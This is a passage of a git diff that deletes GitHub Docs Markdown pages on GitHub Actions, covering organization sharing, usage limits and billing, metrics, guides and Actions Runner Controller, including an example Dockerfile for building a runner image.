a/content/actions/administering-github-actions/sharing-workflows-secrets-and-runners-with-your-organization.md b/content/actions/administering-github-actions/sharing-workflows-secrets-and-runners-with-your-organization.md deleted file mode 100644 index c7e6b6b08f5a..000000000000 --- a/content/actions/administering-github-actions/sharing-workflows-secrets-and-runners-with-your-organization.md +++ /dev/null @@ -1,68 +0,0 @@ ---- -title: 'Sharing workflows, secrets, and runners with your organization' -shortTitle: Share workflows with your organization -intro: 'Learn how you can use organization features to collaborate with your team, by sharing workflow templates, secrets, variables, and self-hosted runners.' -redirect_from: - - /actions/learn-github-actions/sharing-workflows-with-your-organization - - /actions/learn-github-actions/sharing-workflows-secrets-and-runners-with-your-organization - - /actions/using-workflows/sharing-workflows-secrets-and-runners-with-your-organization -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: how_to ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## Overview - -If you need to share workflows and other {% data variables.product.prodname_actions %} features with your team, then consider collaborating within a {% data variables.product.prodname_dotcom %} organization. An organization allows you to centrally store and manage secrets, artifacts, and self-hosted runners. You can also create workflow templates in the `.github` repository and share them with other users in your organization. - -## Sharing {% ifversion ghec or ghes %}actions and {% endif %}workflows - -{% ifversion ghec or ghes %} -You can share both individual actions and entire workflows with your organization, with or without publishing the actions or workflows publicly. You can reuse actions and workflows exactly by referencing them in your workflow file, and you can create workflow templates. -{% else %} -Your organization can share workflows by reusing the workflows exactly or by creating workflow templates -{% endif %} - -{% ifversion ghec or ghes %} - -### Sharing actions with your enterprise - -{% data reusables.actions.internal-actions-summary %} -{% endif %} - -### Reusing workflows - -{% data reusables.actions.reusable-workflows %} - -### Using workflow templates - -{% data reusables.actions.workflow-organization-templates %} For more information, see [AUTOTITLE](/actions/using-workflows/creating-starter-workflows-for-your-organization). - -## Sharing secrets and variables within an organization - -You can centrally manage your secrets and variables within an organization, and then make them available to selected repositories. This also means that you can update a secret or variable in one location, and have the change apply to all repository workflows that use it. - -When creating a secret or variable in an organization, you can use a policy to limit which repositories can access it. For example, you can grant access to all repositories, or limit access to only private repositories or a specified list of repositories. - -{% data reusables.actions.permissions-statement-secrets-and-variables-organization %} - -{% data reusables.organizations.navigate-to-org %} -{% data reusables.organizations.org_settings %} -{% data reusables.actions.sidebar-secrets-and-variables %} -1. Click the **Secrets** or **Variables** tab, and create the secret or variable with your desired values and options. - - For more information, see [AUTOTITLE](/actions/security-guides/using-secrets-in-github-actions#creating-secrets-for-an-organization) or [AUTOTITLE](/actions/learn-github-actions/variables#creating-configuration-variables-for-an-organization). - -## Share self-hosted runners within an organization - -Organization owners can add their self-hosted runners to groups, and then create policies that control which repositories can access the group. - -For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/managing-access-to-self-hosted-runners-using-groups). - -## Next steps - -To continue learning about {% data variables.product.prodname_actions %}, see [AUTOTITLE](/actions/using-workflows/creating-starter-workflows-for-your-organization). diff --git a/content/actions/administering-github-actions/usage-limits-billing-and-administration.md b/content/actions/administering-github-actions/usage-limits-billing-and-administration.md deleted file mode 100644 index c98c46e3c593..000000000000 --- a/content/actions/administering-github-actions/usage-limits-billing-and-administration.md +++ /dev/null @@ -1,134 +0,0 @@ ---- -title: 'Usage limits, billing, and administration' -intro: 'There are usage limits for {% data variables.product.prodname_actions %} workflows. Usage charges apply to repositories that go beyond the amount of free minutes and storage for a repository.' -redirect_from: - - /actions/getting-started-with-github-actions/usage-and-billing-information-for-github-actions - - /actions/reference/usage-limits-billing-and-administration - - /actions/learn-github-actions/usage-limits-billing-and-administration -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Billing -shortTitle: Workflow billing & limits ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## About billing for {% data variables.product.prodname_actions %} - -{% data reusables.repositories.about-github-actions %} For more information, see [AUTOTITLE](/actions/learn-github-actions/understanding-github-actions){% ifversion fpt %}.{% elsif ghes or ghec %} and [AUTOTITLE](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/about-github-actions-for-enterprises).{% endif %} - -{% ifversion fpt or ghec %} -{% data reusables.actions.actions-billing %} For more information, see [AUTOTITLE](/billing/managing-billing-for-github-actions/about-billing-for-github-actions). -{% else %} -GitHub Actions usage is free for {% data variables.product.prodname_ghe_server %} instances that use self-hosted runners. For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/about-self-hosted-runners). -{% endif %} - -{% ifversion fpt or ghec %} - -## Availability - -{% data variables.product.prodname_actions %} is available on all {% data variables.product.prodname_dotcom %} products, but {% data variables.product.prodname_actions %} is not available for private repositories owned by accounts using legacy per-repository plans. {% data reusables.gated-features.more-info %} - -{% endif %} - -## Usage limits - -{% ifversion fpt or ghec %} -There are some limits on {% data variables.product.prodname_actions %} usage when using {% data variables.product.prodname_dotcom %}-hosted runners. These limits are subject to change. - -> [!NOTE] -> For self-hosted runners, different usage limits apply. For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/about-self-hosted-runners#usage-limits). - -* **Job execution time** - Each job in a workflow can run for up to 6 hours of execution time. If a job reaches this limit, the job is terminated and fails to complete. -{% data reusables.actions.usage-workflow-run-time %} -{% data reusables.actions.usage-api-requests %} -* **Webhook rate limit** - Each repository is limited to 1500 events triggering a workflow run every 10 seconds. When the limit is reached, the workflow runs that were supposed to be triggered by the webhook events will be blocked and will not be queued. -* **Concurrent jobs** - The number of concurrent jobs you can run in your account depends on your {% data variables.product.prodname_dotcom %} plan, as well as the type of runner used. If exceeded, any additional jobs are queued. - - **Standard {% data variables.product.prodname_dotcom %}-hosted runners** - - | GitHub plan | Total concurrent jobs | Maximum concurrent macOS jobs | - |---|---|---| - | Free | 20 | 5 | - | Pro | 40 | 5 | - | Team | 60 | 5 | - | Enterprise | 500 | 50 | - - **{% data variables.product.prodname_dotcom %}-hosted {% data variables.actions.hosted_runner %}s** - - | GitHub plan | Total concurrent jobs | Maximum concurrent macOS jobs | Maximum concurrent GPU jobs | - |---|---|---|---| - | Team | 1000 | 5 | 100 | - | Enterprise | 1000 | 50 | 100 | - - > [!NOTE] - > * If required, customers on enterprise plans can request a higher limit for concurrent jobs. For more information, contact us through the {% data variables.contact.contact_support_portal %}, or contact your sales representative. - > * The maximum concurrent macOS jobs is shared across standard {% data variables.product.prodname_dotcom %}-hosted runner and {% data variables.product.prodname_dotcom %}-hosted {% data variables.actions.hosted_runner %}s. - -* **Job matrix** - {% data reusables.actions.usage-matrix-limits %} -{% data reusables.actions.usage-workflow-queue-limits %} - -{% else %} -Usage limits apply to self-hosted runners. For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/about-self-hosted-runners#usage-limits). -{% endif %} - -{% ifversion fpt or ghec %} - -## Usage policy - -In addition to the usage limits, you must ensure that you use {% data variables.product.prodname_actions %} within the [GitHub Terms of Service](/free-pro-team@latest/site-policy/github-terms/github-terms-of-service). For more information on {% data variables.product.prodname_actions %}-specific terms, see the [GitHub Additional Product Terms](/free-pro-team@latest/site-policy/github-terms/github-terms-for-additional-products-and-features#a-actions-usage). -{% endif %} - -{% ifversion fpt or ghec %} - -## {% data variables.product.prodname_actions %} usage metrics - -Organization owners and users with the "View organization Actions metrics" permission can view {% data variables.product.prodname_actions %} usage metrics for their organization. These metrics can help you understand how and where your Actions minutes are being used. For more information, see [AUTOTITLE](/enterprise-cloud@latest/organizations/collaborating-with-groups-in-organizations/viewing-usage-metrics-for-github-actions). - -When you view usage metrics, it is important to remember that {% data reusables.actions.actions-usage-metrics-not-billing-metrics %} - -{% endif %} - -## Billing for reusable workflows - -If you reuse a workflow, billing is always associated with the caller workflow. Assignment of {% data variables.product.prodname_dotcom %}-hosted runners is always evaluated using only the caller's context. The caller cannot use {% data variables.product.prodname_dotcom %}-hosted runners from the called repository. - -For more information see, [AUTOTITLE](/actions/using-workflows/reusing-workflows). - -## Artifact and log retention policy - -You can configure the artifact and log retention period for your repository, organization, or enterprise account. - -{% data reusables.actions.about-artifact-log-retention %} - -For more information, see: - -* [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-repository) -* [AUTOTITLE](/organizations/managing-organization-settings/configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-organization) -* [AUTOTITLE](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#enforcing-a-policy-for-artifact-and-log-retention-in-your-enterprise) - -## Workflow run history retention policy - -The workflow runs in a repository's workflow run history are retained for 400 days. After 400 days, workflow runs are archived. 10 days after archival, they are permanently deleted. The retention period for workflow runs cannot be modified. For more information, see [AUTOTITLE](/actions/monitoring-and-troubleshooting-workflows/monitoring-workflows/viewing-workflow-run-history). - -## Disabling or limiting {% data variables.product.prodname_actions %} for your repository or organization - -{% data reusables.actions.disabling-github-actions %} - -{% ifversion ghes %}You can also manage {% data variables.product.prodname_actions %} settings for your enterprise, such as workflow permissions and cache storage.{% endif %} - -For more information, see: -* [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository) -* [AUTOTITLE](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization) -* [AUTOTITLE](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise) - -## Disabling and enabling workflows - -You can enable and disable individual workflows in your repository on {% data variables.product.prodname_dotcom %}. - -{% data reusables.actions.scheduled-workflows-disabled %} - -For more information, see [AUTOTITLE](/actions/managing-workflow-runs/disabling-and-enabling-a-workflow). diff --git a/content/actions/administering-github-actions/viewing-github-actions-metrics.md b/content/actions/administering-github-actions/viewing-github-actions-metrics.md deleted file mode 100644 index d48f6c3b66e7..000000000000 --- a/content/actions/administering-github-actions/viewing-github-actions-metrics.md +++ /dev/null @@ -1,45 +0,0 @@ ---- -title: Viewing GitHub Actions metrics -shortTitle: GitHub Actions metrics -intro: 'You can view metrics to monitor where your organization or repositories use {% data variables.product.prodname_actions %} and how they are performing.' -permissions: Organization owners and users with the "View organization Actions metrics" permission can view organization-level metrics. <br><br> Users with the base repository role can view repository-level metrics. -versions: - feature: actions-metrics -redirect_from: - - /actions/monitoring-and-troubleshooting-workflows/viewing-github-actions-usage-metrics-for-your-organization - - /actions/administering-github-actions/viewing-github-actions-usage-metrics-for-your-organization - - /actions/administering-github-actions/viewing-github-actions-metrics-for-your-organization ---- - -{% data reusables.actions.about-actions-metrics %} - -{% data reusables.actions.enabling-actions-metrics %} - -## About {% data variables.product.prodname_actions %} usage metrics - -{% data reusables.actions.about-actions-usage-metrics %} - -## About {% data variables.product.prodname_actions %} performance metrics - -{% data reusables.actions.about-actions-performance-metrics %} - -## Understanding {% data variables.product.prodname_actions %} metrics aggregation - -{% data reusables.actions.about-actions-usage-metrics-aggregation %} - -## Viewing {% data variables.product.prodname_actions %} metrics for your organization - -{% data reusables.actions.actions-metrics-discrepancy-note %} - -{% data reusables.profile.access_org %} -{% data reusables.user-settings.access_org %} -{% data reusables.organizations.insights %} -{% data reusables.actions.viewing-actions-metrics %} - -## Viewing {% data variables.product.prodname_actions %} metrics for your repository - -{% data reusables.actions.actions-metrics-discrepancy-note %} - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.navigate-to-insights %} -{% data reusables.actions.viewing-actions-metrics %} diff --git a/content/actions/guides.md b/content/actions/guides.md deleted file mode 100644 index d5cfdfb0948c..000000000000 --- a/content/actions/guides.md +++ /dev/null @@ -1,70 +0,0 @@ ---- -title: 'Guides for {% data variables.product.prodname_actions %}' -intro: 'These guides for {% data variables.product.prodname_actions %} include specific use cases and examples to help you configure workflows.' -allowTitleToDifferFromFilename: true -layout: product-guides -versions: - fpt: '*' - ghes: '*' - ghec: '*' -learningTracks: - - getting_started - - adopting_github_actions_for_your_enterprise_ghec - - adopting_github_actions_for_your_enterprise_ghes - - hosting_your_own_runners - - create_actions -includeGuides: - - /actions/writing-workflows/quickstart - - /actions/about-github-actions/understanding-github-actions - - /actions/sharing-automations/creating-actions/creating-a-docker-container-action - - /actions/writing-workflows/using-workflow-templates - - /actions/use-cases-and-examples/building-and-testing/building-and-testing-python - - /actions/use-cases-and-examples/building-and-testing/building-and-testing-nodejs - - /actions/use-cases-and-examples/publishing-packages/about-packaging-with-github-actions - - /actions/use-cases-and-examples/publishing-packages/publishing-docker-images - - /actions/writing-workflows/choosing-what-your-workflow-does/caching-dependencies-to-speed-up-workflows - - /actions/about-github-actions/about-continuous-integration-with-github-actions - - /actions/use-cases-and-examples/building-and-testing/building-and-testing-powershell - - /actions/use-cases-and-examples/building-and-testing/building-and-testing-ruby - - /actions/use-cases-and-examples/building-and-testing/building-and-testing-java-with-maven - - /actions/use-cases-and-examples/building-and-testing/building-and-testing-java-with-gradle - - /actions/use-cases-and-examples/building-and-testing/building-and-testing-java-with-ant - - /actions/use-cases-and-examples/building-and-testing/building-and-testing-swift - - /actions/use-cases-and-examples/deploying/installing-an-apple-certificate-on-macos-runners-for-xcode-development - - /actions/use-cases-and-examples/building-and-testing/building-and-testing-xamarin-applications - - /actions/use-cases-and-examples/publishing-packages/publishing-nodejs-packages - - /actions/use-cases-and-examples/publishing-packages/publishing-java-packages-with-maven - - /actions/use-cases-and-examples/publishing-packages/publishing-java-packages-with-gradle - - /actions/writing-workflows/choosing-what-your-workflow-does/storing-and-sharing-data-from-a-workflow - - /actions/use-cases-and-examples/using-containerized-services/about-service-containers - - /actions/use-cases-and-examples/using-containerized-services/creating-redis-service-containers - - /actions/use-cases-and-examples/using-containerized-services/creating-postgresql-service-containers - - /actions/use-cases-and-examples/deploying/deploying-to-amazon-elastic-container-service - - /actions/use-cases-and-examples/deploying/deploying-to-google-kubernetes-engine - - /actions/sharing-automations/creating-actions/about-custom-actions - - /actions/sharing-automations/creating-actions/creating-a-javascript-action - - /actions/sharing-automations/creating-actions/creating-a-composite-action - - /actions/migrating-to-github-actions/manually-migrating-to-github-actions/migrating-from-azure-pipelines-to-github-actions - - /actions/migrating-to-github-actions/manually-migrating-to-github-actions/migrating-from-circleci-to-github-actions - - /actions/migrating-to-github-actions/manually-migrating-to-github-actions/migrating-from-gitlab-cicd-to-github-actions - - /actions/migrating-to-github-actions/manually-migrating-to-github-actions/migrating-from-jenkins-to-github-actions - - /actions/migrating-to-github-actions/manually-migrating-to-github-actions/migrating-from-travis-ci-to-github-actions - - /actions/use-cases-and-examples/project-management/using-github-actions-for-project-management - - /actions/use-cases-and-examples/project-management/closing-inactive-issues - - /actions/use-cases-and-examples/project-management/scheduling-issue-creation - - /actions/use-cases-and-examples/project-management/adding-labels-to-issues - - /actions/use-cases-and-examples/project-management/commenting-on-an-issue-when-a-label-is-added - - /actions/use-cases-and-examples/project-management/moving-assigned-issues-on-project-boards - - /actions/use-cases-and-examples/project-management/removing-a-label-when-a-card-is-added-to-a-project-board-column - - /code-security/dependabot/working-with-dependabot/automating-dependabot-with-github-actions - - /code-security/dependabot/working-with-dependabot/keeping-your-actions-up-to-date-with-dependabot - - /actions/use-cases-and-examples/deploying/deploying-docker-to-azure-app-service - - /actions/use-cases-and-examples/deploying/deploying-java-to-azure-app-service - - /actions/use-cases-and-examples/deploying/deploying-net-to-azure-app-service - - /actions/use-cases-and-examples/deploying/deploying-nodejs-to-azure-app-service - - /actions/use-cases-and-examples/deploying/deploying-php-to-azure-app-service - - /actions/use-cases-and-examples/deploying/deploying-python-to-azure-app-service - - /actions/use-cases-and-examples/deploying/deploying-to-azure-static-web-app - - /actions/use-cases-and-examples/deploying/deploying-to-azure-kubernetes-service ---- - diff --git a/content/actions/hosting-your-own-runners/index.md b/content/actions/hosting-your-own-runners/index.md deleted file mode 100644 index 6bfc92c4cb66..000000000000 --- a/content/actions/hosting-your-own-runners/index.md +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: Hosting your own runners -shortTitle: Self-hosted runners -intro: You can create self-hosted runners to run workflows in a highly customizable environment. -redirect_from: - - /github/automating-your-workflow-with-github-actions/hosting-your-own-runners - - /actions/automating-your-workflow-with-github-actions/hosting-your-own-runners - - /actions/using-github-hosted-runners/about-ae-hosted-runners - - /actions/using-github-hosted-runners/adding-ae-hosted-runners - - /actions/using-github-hosted-runners/using-ae-hosted-runners-in-a-workflow - - /actions/using-github-hosted-runners/using-labels-with-ae-hosted-runners - - /actions/using-github-hosted-runners/using-groups-to-manage-access-to-ae-hosted-runners - - /actions/using-github-hosted-runners/creating-custom-images -versions: - fpt: '*' - ghes: '*' - ghec: '*' -children: - - /managing-self-hosted-runners - - /managing-self-hosted-runners-with-actions-runner-controller ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} diff --git a/content/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/about-actions-runner-controller.md b/content/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/about-actions-runner-controller.md deleted file mode 100644 index 6717dd125c2f..000000000000 --- a/content/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/about-actions-runner-controller.md +++ /dev/null @@ -1,185 +0,0 @@ ---- -title: About Actions Runner Controller -shortTitle: About ARC -intro: 'You can host your own runners and customize the environment used to run jobs in your {% data variables.product.prodname_actions %} workflows.' -layout: inline -versions: - fpt: '*' - ghec: '*' - ghes: '*' -type: overview -topics: - - Actions Runner Controller ---- - -[Legal notice](#legal-notice) - -## About {% data variables.product.prodname_actions_runner_controller %} - -{% data reusables.actions.actions-runner-controller-about-arc %} - -The following diagram illustrates the architecture of ARC's autoscaling runner scaleset mode. - -> [!NOTE] -> To view the following diagram in a larger size, see the [Autoscaling Runner Scale Sets mode](https://github.com/actions/actions-runner-controller/blob/master/docs/gha-runner-scale-set-controller/README.md#how-it-works) documentation in the Actions Runner Controller repository. - -![Diagram showing ARC's autoscaling runner ScaleSet mode.](/assets/images/help/actions/arc-diagram.png) - -<!-- The numbers in the ordered list below correspond to numbers in the above diagram, which is why we use explicit numbering here. --> - -1. {% data variables.product.prodname_actions_runner_controller %} is installed using the supplied Helm charts, and the controller manager pod is deployed in the specified namespace. A new AutoScalingRunnerSet resource is deployed via the supplied Helm charts or a customized manifest file. The AutoScalingRunnerSet Controller calls GitHub's APIs to fetch the runner group ID that the runner scale set will belong to. -1. The AutoScalingRunnerSet Controller calls the APIs one more time to either fetch or create a runner scale set in the {% data variables.product.prodname_actions %} service before creating the Runner ScaleSet Listener resource. -1. A Runner ScaleSet Listener pod is deployed by the AutoScalingListener Controller. In this pod, the listener application connects to the {% data variables.product.prodname_actions %} Service to authenticate and establish an HTTPS long poll connection. The listener stays idle until it receives a `Job Available` message from the {% data variables.product.prodname_actions %} Service. -1. When a workflow run is triggered from a repository, the {% data variables.product.prodname_actions %} Service dispatches individual job runs to the runners or runner scalesets where the `runs-on` key matches the name of the runner scaleset or labels of self-hosted runners. -1. When the Runner ScaleSet Listener receives the `Job Available` message, it checks whether it can scale up to the desired count. If it can, the Runner ScaleSet Listener acknowledges the message. -1. The Runner ScaleSet Listener uses a Service Account and a Role bound to that account to make an HTTPS call through the Kubernetes APIs to patch the Ephemeral RunnerSet resource with the number of desired replicas count. -1. The Ephemeral RunnerSet attempts to create new runners and the EphemeralRunner Controller requests a Just-in-Time (JIT) configuration token to register these runners. The controller attempts to create runner pods. If the pod's status is `failed`, the controller retries up to 5 times. After 24 hours the {% data variables.product.prodname_actions %} Service unassigns the job if no runner accepts it. -1. Once the runner pod is created, the runner application in the pod uses the JIT configuration token to register itself with the {% data variables.product.prodname_actions %} Service. It then establishes another HTTPS long poll connection to receive the job details it needs to execute. -1. The {% data variables.product.prodname_actions %} Service acknowledges the runner registration and dispatches the job run details. -1. Throughout the job run execution, the runner continuously communicates the logs and job run status back to the {% data variables.product.prodname_actions %} Service. -1. When the runner completes its job successfully, the EphemeralRunner Controller checks with the {% data variables.product.prodname_actions %} Service to see if runner can be deleted. If it can, the Ephemeral RunnerSet deletes the runner. - -## {% data variables.product.prodname_actions_runner_controller %} components - -ARC consists of a set of resources, some of which are created specifically for ARC. An ARC deployment applies these resources onto a Kubernetes cluster. Once applied, it creates a set of Pods that contain your self-hosted runners' containers. With ARC, {% data variables.product.company_short %} can treat these runner containers as self-hosted runners and allocate jobs to them as needed. - -Each resource that is deployed by ARC is given a name composed of: - -* An installation name, which is the installation name you specify when you install the Helm chart. -* A resource identification suffix, which is a string that identifies the resource type. This value is not configurable. - -> [!NOTE] -> Different versions of Kubernetes have different length limits for names of resources. The length limit for the resource name is calculated by adding the length of the installation name and the length of the resource identification suffix. If the resource name is longer than the reserved length, you will receive an error. - -### Resources deployed by `gha-runner-scale-set-controller` - -| Template | Resource Kind | Name | Reserved Length | Description | Notes | -|-------|---------------|------|-----------------|-------------|-------| -| `deployment.yaml` | Deployment | INSTALLATION_NAME-gha-rs-controller | 18 | The resource running controller-manager | The pods created by this resource have the ReplicaSet suffix and the Pod suffix. | -| `serviceaccount.yaml` | ServiceAccount | INSTALLATION_NAME-gha-rs-controller | 18 | This is created if `serviceAccount.create` in `values.yaml` is set to true. | The name can be customized in `values.yaml` | -| `manager_cluster_role.yaml` | ClusterRole | INSTALLATION_NAME-gha-rs-controller | 18 | ClusterRole for the controller manager | This is created if the value of `flags.watchSingleNamespace` is empty. | -| `manager_cluster_role_binding.yaml` | ClusterRoleBinding | INSTALLATION_NAME-gha-rs-controller | 18 | ClusterRoleBinding for the controller manager | This is created if the value of `flags.watchSingleNamespace` is empty. | -| `manager_single_namespace_controller_role.yaml` | Role | INSTALLATION_NAME-gha-rs-controller-single-namespace | 35 | Role for the controller manager | This is created if the value of `flags.watchSingleNamespace` is set. | -| `manager_single_namespace_controller_role_binding.yaml` | RoleBinding | INSTALLATION_NAME-gha-rs-controller-single-namespace | 35 | RoleBinding for the controller manager | This is created if the value of `flags.watchSingleNamespace` is set. | -| `manager_single_namespace_watch_role.yaml` | Role | INSTALLATION_NAME-gha-rs-controller-single-namespace-watch | 41 | Role for the controller manager for the namespace configured | This is created if the value of `flags.watchSingleNamespace` is set. | -| `manager_single_namespace_watch_role_binding.yaml` | RoleBinding | INSTALLATION_NAME-gha-rs-controller-single-namespace-watch | 41 | RoleBinding for the controller manager for the namespace configured | This is created if the value of `flags.watchSingleNamespace` is set. | -| `manager_listener_role.yaml` | Role | INSTALLATION_NAME-gha-rs-controller-listener | 26 | Role for the listener | This is always created. | -| `manager_listener_role_binding.yaml `| RoleBinding | INSTALLATION_NAME-gha-rs-controller-listener | 26 | RoleBinding for the listener | This is always created and binds the listener role with the service account, which is either created by `serviceaccount.yaml` or configured with `values.yaml`. | - -### Resources deployed by `gha-runner-scale-set` - -| Template | Resource Kind | Name | Reserved Length | Description | Notes | -|-------|---------------|------|-----------------|-------------|-------| -| `autoscalingrunnerset.yaml` | AutoscalingRunnerSet | INSTALLATION_NAME | 0 | Top level resource working with scale sets | The name is limited to 45 characters in length. | -| `no_permission_service_account.yaml` | ServiceAccount | INSTALLATION_NAME-gha-rs-no-permission | 21 | Service account mounted to the runner container | This is created if the container mode is not "kubernetes" and `template.spec.serviceAccountName` is not specified. | -| `githubsecret.yaml` | Secret | INSTALLATION_NAME-gha-rs-github-secret | 20 | Secret containing values needed to authenticate to the GitHub API | This is created if `githubConfigSecret` is an object. If a string is provided, this secret will not be created. | -| `manager_role.yaml` | Role | INSTALLATION_NAME-gha-rs-manager | 15 | Role provided to the manager to be able to reconcile on resources in the autoscaling runner set's namespace | This is always created. | -| `manager_role_binding.yaml` | RoleBinding | INSTALLATION_NAME-gha-rs-manager | 15 | Binding manager_role to the manager service account. | This is always created. | -| `kube_mode_role.yaml` | Role | INSTALLATION_NAME-gha-rs-kube-mode | 17 | Role providing necessary permissions for the hook | This is created when the container mode is set to "kubernetes" and `template.spec.serviceAccount` is not provided. | -| `kube_mode_serviceaccount.yaml` | ServiceAccount | INSTALLATION_NAME-gha-rs-kube-mode | 17 | Service account bound to the runner pod. | This is created when the container mode is set to "kubernetes" and `template.spec.serviceAccount` is not provided. | - -### About custom resources - -ARC consists of several custom resource definitions (CRDs). For more information on custom resources, see [Custom Resources](https://kubernetes.io/docs/concepts/extend-kubernetes/api-extension/custom-resources/) in the Kubernetes documentation. You can find the list of custom resource definitions used for ARC in the following API schema definitions. - -* [actions.github.com/v1alpha1](https://pkg.go.dev/github.com/actions/actions-runner-controller/apis/actions.github.com/v1alpha1) -* [actions.summerwind.net/v1alpha1](https://pkg.go.dev/github.com/actions/actions-runner-controller/apis/actions.summerwind.net/v1alpha1) - -Because custom resources are extensions of the Kubernetes API, they won't be available in a default Kubernetes installation. You will need to install these custom resources to use ARC. For more information on installing custom resources, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/quickstart-for-actions-runner-controller). - -Once the custom resources are installed, you can deploy ARC into your Kubernetes cluster. For information about deploying ARC, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/deploying-runner-scale-sets-with-actions-runner-controller). - -### About the runner container image - -{% data variables.product.company_short %} maintains a [minimal runner container image](https://github.com/actions/runner/pkgs/container/actions-runner). A new image will be published with every runner binaries release. The most recent image will have the runner binaries version and `latest` as tags. - -This image contains the least amount of packages necessary for the container runtime and the runner binaries. To install additional software, you can create your own runner image. You can use ARC's runner image as a base, or use the corresponding setup actions. For instance, `actions/setup-java` for Java or `actions/setup-node` for Node. - -You can find the definition of ARC's runner image in [this Dockerfile](https://github.com/actions/runner/blob/main/images/Dockerfile) and the definition of the base image in [this Dockerfile](https://github.com/dotnet/dotnet-docker/blob/main/src/runtime-deps/8.0/bookworm-slim/amd64/Dockerfile). - -#### Creating your own runner image - -You can create your own runner image that meets your requirements. Your runner image must fulfill the following conditions. - -* Use a base image that can run the self-hosted runner application. For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/about-self-hosted-runners). -* The [runner binary](https://github.com/actions/runner/releases) must be placed under `/home/runner/` and launched using `/home/runner/run.sh`. -* If you use Kubernetes mode, the [runner container hooks](https://github.com/actions/runner-container-hooks/releases) must be placed under `/home/runner/k8s`. - -You can use the following example Dockerfile to start creating your own runner image. - -```dockerfile copy -FROM mcr.microsoft.com/dotnet/runtime-deps:6.0 as build - -# Replace value with the latest runner release version -# source: https://github.com/actions/runner/releases -# ex: 2.303.0 -ARG RUNNER_VERSION="" -ARG RUNNER_ARCH="x64" -# Replace value with the latest runner-container-hooks release version -# source: https://github.com/actions/runner-container-hooks/releases -# ex: 0.3.1 -ARG RUNNER_CONTAINER_HOOKS_VERSION="" - -ENV DEBIAN_FRONTEND=noninteractive -ENV RUNNER_MANUALLY_TRAP_SIG=1 -ENV ACTIONS_RUNNER_PRINT_LOG_TO_STDOUT=1 - -RUN apt update -y && apt install curl unzip -y - -RUN adduser --disabled-password --gecos "" --uid 1001 runner \ - && groupadd docker --gid 123 \ - && usermod -aG sudo runner \ - && usermod -aG docker runner \ - && echo "%sudo ALL=(ALL:ALL) NOPASSWD:ALL" > /etc/sudoers \ - && echo "Defaults env_keep += \"DEBIAN_FRONTEND\"" >> /etc/sudoers - -WORKDIR /home/runner - -RUN curl -f -L -o runner.tar.gz https://github.com/actions/runner/releases/download/v${RUNNER_VERSION}/actions-runner-linux-${RUNNER_ARCH}-${RUNNER_VERSION}.tar.gz \ - && tar xzf ./runner.tar.gz \ - && rm runner.tar.gz - -RUN curl -f -L -o runner-container-hooks.zip https://github.com/actions/runner-container-hooks/releases/download/v${RUNNER_CONTAINER_HOOKS_VERSION}/actions-runner-hooks-k8s-${RUNNER_CONTAINER_HOOKS_VERSION}.zip \ - && unzip ./runner-container-hooks.zip -d ./k8s \ - && rm runner-container-hooks.zip - -USER runner -``` - -## Executing workflows - -After installation and configuration are complete, you can use ARC to execute workflow runs. A workflow can be created in the same repository that can target a self hosted runner created by ARC. For more information about targeting workflows to run on self-hosted runners, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/using-self-hosted-runners-in-a-workflow). - -### Using ARC runners in a workflow - -{% data reusables.actions.actions-runner-controller-labels %} For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/using-actions-runner-controller-runners-in-a-workflow). - -## Scaling runners - -You can scale runners statically or dynamically depending on your needs. For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/deploying-runner-scale-sets-with-actions-runner-controller#scaling-runners). - -## Software installed in the ARC runner image - -The ARC [runner image](https://github.com/actions/runner/pkgs/container/actions-runner) is bundled with the following software: - -* [Runner binaries](https://github.com/actions/runner) -* [Runner container hooks](https://github.com/actions/runner-container-hooks) -* Docker (required for Docker-in-Docker mode) - -For more information, see [ARC's runner image Dockerfile](https://github.com/actions/runner/blob/main/images/Dockerfile) in the Actions repository. - -## Assets and releases - -ARC is released as two Helm charts and one container image. The Helm charts are only published as Open Container Initiative (OCI) packages. ARC does not provide tarballs or Helm repositories via {% data variables.product.prodname_pages %}. - -You can find the latest releases of ARC's Helm charts and container image on {% data variables.product.prodname_registry %}: - -* [`gha-runner-scale-set-controller` Helm chart](https://github.com/actions/actions-runner-controller/pkgs/container/actions-runner-controller-charts%2Fgha-runner-scale-set-controller) -* [`gha-runner-scale-set` Helm chart](https://github.com/actions/actions-runner-controller/pkgs/container/actions-runner-controller-charts%2Fgha-runner-scale-set) -* [`gha-runner-scale-set-controller` container image](https://github.com/actions/actions-runner-controller/pkgs/container/gha-runner-scale-set-controller) - -The supported runner image is released as a separate container image, which you can find at [`actions-runner`](https://github.com/actions/runner/pkgs/container/actions-runner) on {% data 